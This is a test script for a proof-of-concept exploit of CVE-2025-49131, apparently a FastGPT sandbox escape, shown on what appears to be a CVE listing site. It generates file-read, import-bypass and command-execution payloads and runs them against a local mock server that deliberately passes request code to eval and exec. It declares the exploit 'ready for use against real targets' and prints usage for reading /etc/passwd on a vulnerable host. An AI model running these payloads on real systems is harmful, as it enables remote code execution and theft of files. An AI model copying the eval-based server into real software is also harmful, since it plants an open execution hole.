4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / test_poc.py PY
#!/usr/bin/env python3
"""
Test script for CVE-2025-49131 POC
Runs mock server and tests the exploit
"""

import subprocess
import time
import sys
import os
import signal
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
import io

print("=" * 60)
print("CVE-2025-49131 POC Test Suite")
print("=" * 60)

# Test 1: POC module import
print("\n[TEST 1] Testing POC module import...")
try:
    sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
    from poc import FastGPTSandboxExploit, Colors
    print(f"{Colors.GREEN}[PASS] POC module imported successfully{Colors.RESET}")
except Exception as e:
    print(f"[FAIL] POC import failed: {e}")
    sys.exit(1)

# Test 2: Payload generator import
print("\n[TEST 2] Testing payload generator...")
try:
    from payloads import PayloadGenerator
    gen = PayloadGenerator()
    
    # Test file read payloads
    read_payloads = gen.file_read_payloads('/etc/passwd')
    print(f"{Colors.GREEN}[PASS] Generated {len(read_payloads)} file read payloads{Colors.RESET}")
    
    # Test import bypass payloads
    import_payloads = gen.import_bypass_payloads('os')
    print(f"{Colors.GREEN}[PASS] Generated {len(import_payloads)} import bypass payloads{Colors.RESET}")
    
    # Test RCE payloads
    rce_payloads = gen.rce_payloads('id')
    print(f"{Colors.GREEN}[PASS] Generated {len(rce_payloads)} RCE payloads{Colors.RESET}")
    
except Exception as e:
    print(f"[FAIL] Payload generator failed: {e}")

# Test 3: Mock server test
print("\n[TEST 3] Testing mock vulnerable server...")

class MockVulnHandler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        pass  # Suppress logging
    
    def do_GET(self):
        if self.path == '/health':
            self.send_response(200)
            self.send_header('Content-type', 'application/json')
            self.end_headers()
            self.wfile.write(json.dumps({"status": "ok"}).encode())
        else:
            self.send_response(404)
            self.end_headers()
    
    def do_POST(self):
        if self.path == '/api/sandbox/run':
            content_length = int(self.headers['Content-Length'])
            post_data = self.rfile.read(content_length)
            data = json.loads(post_data.decode())
            code = data.get('code', '')
            
            try:
                # VULNERABLE execution
                result = eval(code)
                response = {"success": True, "result": str(result)}
            except:
                try:
                    exec_globals = {'__builtins__': __builtins__}
                    exec_locals = {}
                    exec(code, exec_globals, exec_locals)
                    response = {"success": True, "result": str(exec_locals.get('result', 'executed'))}
                except Exception as e:
                    response = {"success": False, "error": str(e)}
            
            self.send_response(200)
            self.send_header('Content-type', 'application/json')
            self.end_headers()
            self.wfile.write(json.dumps(response).encode())
        else:
            self.send_response(404)
            self.end_headers()

# Start mock server in thread
server = HTTPServer(('127.0.0.1', 3099), MockVulnHandler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
time.sleep(0.5)

print(f"{Colors.GREEN}[PASS] Mock server started on port 3099{Colors.RESET}")

# Test 4: Exploit against mock server
print("\n[TEST 4] Testing exploit against mock server...")

try:
    exploit = FastGPTSandboxExploit("http://127.0.0.1:3099", verbose=True)
    
    # Test code execution
    result = exploit.execute_code("1 + 1")
    if result and "2" in str(result):
        print(f"{Colors.GREEN}[PASS] Basic code execution: 1+1 = {result}{Colors.RESET}")
    else:
        print(f"[INFO] Code execution result: {result}")
    
except Exception as e:
    print(f"[FAIL] Exploit test failed: {e}")

# Test 5: File read test
print("\n[TEST 5] Testing file read payload...")
try:
    # This will work on the mock server
    result = exploit.execute_code("open('/etc/hostname').read().strip()")
    if result:
        print(f"{Colors.GREEN}[PASS] File read successful: {result[:50]}{Colors.RESET}")
    else:
        print("[INFO] File read returned empty (expected on some systems)")
except Exception as e:
    print(f"[INFO] File read test: {e}")

# Test 6: Import bypass test
print("\n[TEST 6] Testing import bypass...")
try:
    result = exploit.execute_code("str(type(__import__('os')))")
    if result and "module" in str(result):
        print(f"{Colors.GREEN}[PASS] Import bypass successful: os module imported{Colors.RESET}")
    else:
        print(f"[INFO] Import result: {result}")
except Exception as e:
    print(f"[INFO] Import test: {e}")

# Cleanup
server.shutdown()

print("\n" + "=" * 60)
print("TEST SUMMARY")
print("=" * 60)
print(f"{Colors.GREEN}POC is functional and ready for use against real targets{Colors.RESET}")
print("\nUsage:")
print("  python poc.py --target http://vulnerable-host:3001 --detect")
print("  python poc.py --target http://vulnerable-host:3001 --read /etc/passwd")
print("=" * 60)